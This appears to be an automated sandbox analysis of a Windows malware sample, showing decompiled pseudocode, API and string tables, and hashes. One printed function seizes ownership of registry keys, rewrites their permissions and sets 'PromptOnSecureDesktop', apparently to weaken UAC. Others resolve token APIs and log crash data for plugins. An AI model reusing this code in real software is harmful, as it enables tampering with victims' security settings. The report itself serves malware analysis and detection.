0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

NtDuplicateToken, xrefs: 004011F3
NtFilterToken, xrefs: 0040122B
RtlNtStatusToDosError, xrefs: 00401194
NtTerminateProcess, xrefs: 004010F6
RtlFreeSid, xrefs: 00401116
NtClose, xrefs: 004011B4
NtSetInformationToken, xrefs: 00401175
RtlSetLastWin32Error, xrefs: 004010D6
RtlInitUnicodeString, xrefs: 00401135
RtlLengthSid, xrefs: 00401246
RtlAllocateAndInitializeSid, xrefs: 0040120F
NtSetInformationThread, xrefs: 00401155
NtOpenProcessToken, xrefs: 004011D4
ntdll.dll, xrefs: 0040100D
NtQueryInformationToken, xrefs: 00401262
RtlExpandEnvironmentStrings_U, xrefs: 004010BC

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Sun, xrefs: 0040B225
Mon, xrefs: 0040B22C
Sep, xrefs: 0040B28E
Oct, xrefs: 0040B295
Thu, xrefs: 0040B241
Tue, xrefs: 0040B233
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
May, xrefs: 0040B272
Apr, xrefs: 0040B26B
Nov, xrefs: 0040B29C
Feb, xrefs: 0040B25D
Aug, xrefs: 0040B287
Jul, xrefs: 0040B280
Sat, xrefs: 0040B24F
Wed, xrefs: 0040B23A
Mar, xrefs: 0040B264
Jan, xrefs: 0040B256
Fri, xrefs: 0040B248
Dec, xrefs: 0040B2A3
Jun, xrefs: 0040B279

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407A95, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407A95(void* _a4, char* _a8, signed int _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				struct _ACL* _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				int _v64;
				void _v132;
				char _v388;
				char _v516;
				struct _SECURITY_DESCRIPTOR _v1540;
				void* _t95;
				void* _t104;
				void* _t107;
				void* _t111;
				void* _t116;
				struct _ACL* _t117;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t123;
				void* _t125;
				char* _t126;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t136;
				void* _t143;
				void* _t146;
				int _t148;
				int _t151;
				void** _t159;
				void* _t161;
				void* _t164;
				signed int _t172;
				void* _t173;
				char* _t174;
				void* _t175;
				void* _t176;

				_v32 = 0;
				_v12 = 0;
				_v28 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0xe0100,  &_v28) != 0) {
					return 0;
				}
				_v40 = 0x80;
				_t95 = GetUserNameA( &_v388,  &_v40);
				__eflags = _t95;
				if(_t95 == 0) {
					L48:
					RegCloseKey(_v28);
					return _v12;
				} else {
					_v36 = 0x44;
					_v44 = 0x80;
					_t104 = LookupAccountNameA(0,  &_v388,  &_v132,  &_v36,  &_v516,  &_v44,  &_v56);
					__eflags = _t104;
					if(_t104 == 0) {
						goto L48;
					}
					_v48 = 0x400;
					_t107 = RegGetKeySecurity(_v28, 5,  &_v1540,  &_v48);
					__eflags = _t107;
					if(_t107 != 0) {
						goto L48;
					}
					_t111 = GetSecurityDescriptorOwner( &_v1540,  &_v16,  &_v60);
					__eflags = _t111;
					if(_t111 == 0) {
						L12:
						_v24 = 0;
						_t116 = GetSecurityDescriptorDacl( &_v1540,  &_v64,  &_v32,  &_v52);
						__eflags = _t116;
						if(_t116 == 0) {
							L47:
							goto L48;
						}
						_t117 = _v32;
						__eflags = _t117;
						if(_t117 == 0) {
							goto L47;
						}
						_t164 = 0;
						_v8 = 0;
						__eflags = 0 - _t117->AceCount;
						if(0 >= _t117->AceCount) {
							goto L47;
						} else {
							goto L15;
						}
						do {
							L15:
							_t118 = GetAce(_t117, _v8,  &_v20);
							__eflags = _t118;
							if(_t118 == 0) {
								L31:
								_t73 =  &_v8;
								 *_t73 = _v8 + 1;
								__eflags =  *_t73;
								goto L32;
							}
							_t172 = 0;
							_v16 = _v20 + 8;
							__eflags = _t164;
							if(_t164 <= 0) {
								L21:
								__eflags = _t164 - 0x20;
								if(_t164 < 0x20) {
									 *((intOrPtr*)(_t176 + _t164 * 4 - 0x100)) = _v16;
									_t164 = _t164 + 1;
									__eflags = _t164;
								}
								_t134 = EqualSid( &_v132, _v16);
								_t159 = _v20;
								__eflags = _t134;
								if(_t134 == 0) {
									_t135 = 0x20000;
								} else {
									asm("sbb eax, eax");
									_t135 = ( ~_a12 & 0x00010006) + 0xe0039;
								}
								__eflags = _t159[1] - _t135;
								if(_t159[1] != _t135) {
									_t159[1] = _t135;
									_t159 = _v20;
									_v24 = 1;
								}
								__eflags =  *_t159;
								if( *_t159 != 0) {
									L30:
									 *_t159 = 0;
									_t136 = _v16;
									__eflags =  *(_t136 + 8);
									_t68 =  *(_t136 + 8) == 0;
									__eflags = _t68;
									_v24 = 1;
									 *((char*)(_v20 + 1)) = 2 + (_t136 & 0xffffff00 | _t68) * 8;
									goto L31;
								} else {
									__eflags = _t159[0] & 0x00000010;
									if((_t159[0] & 0x00000010) == 0) {
										goto L31;
									}
									goto L30;
								}
							} else {
								goto L17;
							}
							while(1) {
								L17:
								_t143 = EqualSid( *(_t176 + _t172 * 4 - 0x100), _v16);
								__eflags = _t143;
								if(_t143 != 0) {
									break;
								}
								_t172 = _t172 + 1;
								__eflags = _t172 - _t164;
								if(_t172 < _t164) {
									continue;
								}
								break;
							}
							__eflags = _t172 - _t164;
							if(_t172 >= _t164) {
								goto L21;
							}
							DeleteAce(_v32, _v8);
							_v24 = 1;
							L32:
							_t117 = _v32;
							__eflags = _v8 - (_t117->AceCount & 0x0000ffff);
						} while (_v8 < (_t117->AceCount & 0x0000ffff));
						__eflags = _v24;
						if(_v24 == 0) {
							goto L47;
						}
						__eflags =  *0x4121a8; // 0x0
						if(__eflags == 0) {
							L41:
							_v12 = 1;
							_t173 = LocalAlloc(0x40, 0x14);
							__eflags = _t173;
							if(_t173 != 0) {
								_t120 = InitializeSecurityDescriptor(_t173, 1);
								__eflags = _t120;
								if(_t120 != 0) {
									_t122 = SetSecurityDescriptorDacl(_t173, 1, _v32, 0);
									__eflags = _t122;
									if(_t122 != 0) {
										_t123 = RegSetKeySecurity(_v28, 4, _t173);
										__eflags = _t123;
										if(_t123 == 0) {
											_v12 = 1;
										}
									}
								}
								LocalFree(_t173);
							}
							goto L47;
						}
						__eflags =  *0x412cc0; // 0x0
						if(__eflags == 0) {
							goto L41;
						}
						_v12 = 0;
						_t125 = RegOpenKeyExA(_a4, _a8, 0, 0x103,  &_v12);
						__eflags = _t125;
						if(_t125 != 0) {
							goto L41;
						}
						_t126 = 0x4121a8;
						_t83 =  &(_t126[1]); // 0x4121a9
						_t174 = _t83;
						do {
							_t161 =  *_t126;
							_t126 =  &(_t126[1]);
							__eflags = _t161;
						} while (_t161 != 0);
						_t130 = RegSetValueExA(_v12, E00402544("PromptOnSecureDesktop", 0x4106dc, 0xa, 0xe4, 0xc8), 0, 2, 0x4121a8, _t126 - _t174 + 1);
						__eflags = _t130;
						if(_t130 == 0) {
							 *0x412cc0 = 0;
						}
						goto L41;
					}
					_t146 = EqualSid( &_v132, _v16);
					__eflags = _t146;
					if(_t146 != 0) {
						goto L12;
					}
					_v12 = 1;
					_t175 = LocalAlloc(0x40, 0x14);
					__eflags = _t175;
					if(_t175 != 0) {
						_t148 = InitializeSecurityDescriptor(_t175, 1);
						__eflags = _t148;
						if(_t148 != 0) {
							_t151 = SetSecurityDescriptorOwner(_t175,  &_v132, 0);
							__eflags = _t151;
							if(_t151 != 0) {
								RegSetKeySecurity(_v28, 1, _t175);
							}
						}
						LocalFree(_t175);
					}
					goto L12;
				}
			}

0x00407aae
0x00407ab4
0x00407ab7
0x00407ac2
0x00000000
0x00407ac4
0x00407adc
0x00407adf
0x00407ae5
0x00407ae7
0x00407da7
0x00407daa
0x00000000
0x00407aed
0x00407b0c
0x00407b13
0x00407b16
0x00407b1c
0x00407b1e
0x00000000
0x00000000
0x00407b34
0x00407b3b
0x00407b41
0x00407b43
0x00000000
0x00000000
0x00407b59
0x00407b5f
0x00407b61
0x00407bb8
0x00407bcb
0x00407bce
0x00407bd4
0x00407bd6
0x00407da6
0x00000000
0x00407da6
0x00407bdc
0x00407bdf
0x00407be1
0x00000000
0x00000000
0x00407be9
0x00407beb
0x00407bee
0x00407bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bf8
0x00407bf8
0x00407c00
0x00407c06
0x00407c08
0x00407cc6
0x00407cc6
0x00407cc6
0x00407cc6
0x00000000
0x00407cc6
0x00407c14
0x00407c16
0x00407c19
0x00407c1b
0x00407c4f
0x00407c4f
0x00407c52
0x00407c57
0x00407c5e
0x00407c5e
0x00407c5e
0x00407c66
0x00407c6c
0x00407c6f
0x00407c71
0x00407c86
0x00407c73
0x00407c78
0x00407c7f
0x00407c7f
0x00407c8b
0x00407c8e
0x00407c90
0x00407c93
0x00407c96
0x00407c96
0x00407c9d
0x00407c9f
0x00407ca7
0x00407ca7
0x00407ca9
0x00407cac
0x00407cb2
0x00407cb2
0x00407cb5
0x00407cc3
0x00000000
0x00407ca1
0x00407ca1
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407c1d
0x00407c1d
0x00407c27
0x00407c2d
0x00407c2f
0x00000000
0x00000000
0x00407c31
0x00407c32
0x00407c34
0x00000000
0x00000000
0x00000000
0x00407c34
0x00407c36
0x00407c38
0x00000000
0x00000000
0x00407c40
0x00407c46
0x00407cc9
0x00407cc9
0x00407cd0
0x00407cd0
0x00407cd9
0x00407cdc
0x00000000
0x00000000
0x00407ce2
0x00407ce8
0x00407d5a
0x00407d61
0x00407d6a
0x00407d6c
0x00407d6e
0x00407d72
0x00407d78
0x00407d7a
0x00407d82
0x00407d88
0x00407d8a
0x00407d92
0x00407d98
0x00407d9a
0x00407d9c
0x00407d9c
0x00407d9a
0x00407d8a
0x00407da0
0x00407da0
0x00000000
0x00407d6e
0x00407cea
0x00407cf0
0x00000000
0x00000000
0x00407cff
0x00407d05
0x00407d0b
0x00407d0d
0x00000000
0x00000000
0x00407d14
0x00407d16
0x00407d16
0x00407d19
0x00407d19
0x00407d1b
0x00407d1c
0x00407d1c
0x00407d4a
0x00407d50
0x00407d52
0x00407d54
0x00407d54
0x00000000
0x00407d52
0x00407b6a
0x00407b70
0x00407b72
0x00000000
0x00000000
0x00407b7b
0x00407b84
0x00407b86
0x00407b88
0x00407b8c
0x00407b92
0x00407b94
0x00407b9c
0x00407ba2
0x00407ba4
0x00407bab
0x00407bab
0x00407ba4
0x00407bb2
0x00407bb2
0x00000000
0x00407b88

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

D, xrefs: 00407B0C
PromptOnSecureDesktop, xrefs: 00407D39

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00867CE5, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,000E0100,?), ref: 00867D0A
GetUserNameA.ADVAPI32(?,?), ref: 00867D2F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00867D66
RegGetKeySecurity.ADVAPI32(?,00000005,?,?), ref: 00867D8B
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 00867DA9
EqualSid.ADVAPI32(?,?), ref: 00867DBA
LocalAlloc.KERNEL32(00000040,00000014), ref: 00867DCE
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00867DDC
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00867DEC
RegSetKeySecurity.ADVAPI32(?,00000001,00000000), ref: 00867DFB
LocalFree.KERNEL32(00000000), ref: 00867E02
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00867E1E

Strings

D, xrefs: 00867D5C
PromptOnSecureDesktop, xrefs: 00867F89

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction ID: 94d87042ae731a4b9e177536e925690e4ca35687b718ff0cc26116e51a07ddaa
Opcode Fuzzy Hash: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction Fuzzy Hash: 06A15F72904209AFDF118FA4DD88FEFBBB9FB08704F158069F505E6150EB758A85CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406511, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00406511(void* __ecx) {
				signed int _t75;
				signed int _t76;
				int _t78;
				void* _t83;
				signed int _t93;
				void* _t95;
				signed int _t99;
				int _t101;
				int _t115;
				int _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t122;
				intOrPtr _t135;
				intOrPtr* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t152;

				_t122 = __ecx;
				_t139 = _t141 - 0x74;
				_t75 =  *(_t139 + 0x7c);
				_t135 =  *((intOrPtr*)(_t75 + 4));
				_t76 =  *_t75;
				 *(_t139 + 0x7c) = _t76;
				_t78 = wsprintfA(_t139 - 0x898, "\nver=%d date=%s %s\nc=%08x a=%p", 0x61, "Jan 13 2018", "12:08:32",  *_t76,  *((intOrPtr*)(_t76 + 0xc)));
				_t143 = _t141 - 0x90c + 0x1c;
				_t117 = _t78;
				if(IsBadReadPtr( *( *(_t139 + 0x7c) + 0xc), 8) != 0) {
					E0040E318();
					ExitProcess(0);
				}
				_t83 =  *( *(_t139 + 0x7c) + 0xc);
				__imp__#8( *((intOrPtr*)(_t83 + 4)), E00406511);
				__imp__#8();
				_t118 = _t117 + wsprintfA(_t139 + _t117 - 0x898, " va=%08X%08X uef=%p",  *( *(_t139 + 0x7c) + 0xc),  *( *( *(_t139 + 0x7c) + 0xc)), _t83);
				_t119 = _t118 + wsprintfA(_t139 + _t118 - 0x898, "\n_ax=%p\t_bx=%p\t_cx=%p\t_dx=%p\t_si=%p\t_di=%p\t_bp=%p\t_sp=%p\n",  *((intOrPtr*)(_t135 + 0xb0)),  *((intOrPtr*)(_t135 + 0xa4)),  *((intOrPtr*)(_t135 + 0xac)),  *((intOrPtr*)(_t135 + 0xa8)),  *((intOrPtr*)(_t135 + 0xa0)),  *((intOrPtr*)(_t135 + 0x9c)),  *((intOrPtr*)(_t135 + 0xb4)),  *((intOrPtr*)(_t135 + 0xc4)));
				E0040EE2A(_t122, _t139 - 0x98, 0, 0x108);
				_t144 = _t143 + 0x48;
				 *((intOrPtr*)(_t139 - 0x98)) =  *((intOrPtr*)(_t135 + 0xb8));
				_t93 = 3;
				_push(0);
				_push(0);
				 *(_t139 - 0x8c) = _t93;
				 *((intOrPtr*)(_t139 - 0x94)) = 0;
				_push(0);
				 *(_t139 - 0x5c) = _t93;
				_push(0);
				 *((intOrPtr*)(_t139 - 0x68)) =  *((intOrPtr*)(_t135 + 0xc4));
				 *((intOrPtr*)(_t139 - 0x64)) = 0;
				_t130 =  *((intOrPtr*)(_t135 + 0xb4));
				 *(_t139 - 0x6c) = _t93;
				 *(_t139 + 0x7c) = _t93;
				_push(_t135);
				_push(_t139 - 0x98);
				 *((intOrPtr*)(_t139 - 0x78)) =  *((intOrPtr*)(_t135 + 0xb4));
				 *((intOrPtr*)(_t139 - 0x74)) = 0;
				_push(0);
				while(1) {
					_t95 = GetCurrentProcess();
					__imp__StackWalk64(0x14c, _t95);
					if(_t95 == 0) {
						break;
					}
					_t95 = 0;
					if( *(_t139 + 0x7c) != 0) {
						if( *((intOrPtr*)(_t139 - 0x88)) != 0) {
							_t115 = wsprintfA(_t139 + _t119 - 0x898, "ret=%p\tp1=%p\tp2=%p\tp3=%p\tp4=%p\n",  *((intOrPtr*)(_t139 - 0x88)),  *((intOrPtr*)(_t139 - 0x40)),  *((intOrPtr*)(_t139 - 0x38)),  *((intOrPtr*)(_t139 - 0x30)),  *((intOrPtr*)(_t139 - 0x28)));
							_t144 = _t144 + 0x1c;
							_t119 = _t119 + _t115;
							_t95 = 0;
						}
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) - 1;
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t135);
						_push(_t139 - 0x98);
						_push(_t95);
						continue;
					}
					break;
				}
				 *(_t139 + 0x7c) = _t95;
				_t120 = _t119 + wsprintfA(_t139 + _t119 - 0x898, "plgs:");
				 *(_t139 + 0x70) =  *(_t139 + 0x70) & 0x00000000;
				do {
					_t137 = 0x412c40 +  *(_t139 + 0x70) * 4;
					if( *_t137 != 0) {
						_t99 =  *(_t139 + 0x7c) & 0x80000007;
						if(_t99 < 0) {
							_t152 = (_t99 - 0x00000001 | 0xfffffff8) + 1;
						}
						if(_t152 == 0) {
							_t120 = _t120 + wsprintfA(_t139 + _t120 - 0x898, "\n");
						}
						_t101 = wsprintfA(_t139 + _t120 - 0x898, "\t%d=%p",  *(_t139 + 0x70),  *_t137);
						_t144 = _t144 + 0x10;
						_t120 = _t120 + _t101;
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) + 1;
					}
					 *(_t139 + 0x70) =  *(_t139 + 0x70) + 1;
				} while ( *(_t139 + 0x70) < 0x20);
				wsprintfA(_t139 + _t120 - 0x898, "\n");
				E0040E8A1(_t130, 1, "localcfg", "except_info", _t139 - 0x898);
				E0040E318();
				return 1;
			}

0x00406511
0x00406512
0x0040651c
0x00406521
0x00406524
0x00406532
0x0040654d
0x0040654f
0x00406552
0x00406564
0x0040674e
0x00406755
0x00406755
0x0040656d
0x00406578
0x00406587
0x004065a3
0x004065e3
0x004065ee
0x004065f9
0x00406600
0x00406606
0x00406607
0x00406608
0x00406609
0x0040660f
0x0040661b
0x0040661c
0x0040661f
0x00406620
0x00406623
0x00406626
0x0040662c
0x0040662f
0x00406632
0x00406639
0x0040663a
0x0040663d
0x00406640
0x0040668a
0x0040668a
0x00406696
0x0040669e
0x00000000
0x00000000
0x00406643
0x00406648
0x00406650
0x00406671
0x00406673
0x00406676
0x00406678
0x00406678
0x0040667a
0x0040667d
0x0040667e
0x0040667f
0x00406680
0x00406681
0x00406688
0x00406689
0x00000000
0x00406689
0x00000000
0x00406648
0x004066a0
0x004066b3
0x004066b5
0x004066ba
0x004066bd
0x004066c7
0x004066cc
0x004066d1
0x004066d7
0x004066d7
0x004066d8
0x004066eb
0x004066eb
0x004066ff
0x00406701
0x00406704
0x00406706
0x00406706
0x00406709
0x0040670c
0x0040671f
0x00406734
0x0040673c
0x0040674b

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

localcfg, xrefs: 0040672D
except_info, xrefs: 00406728
%d=%p, xrefs: 004066F9
plgs:, xrefs: 004066AA
12:08:32, xrefs: 00406535
Jan 13 2018, xrefs: 0040653A
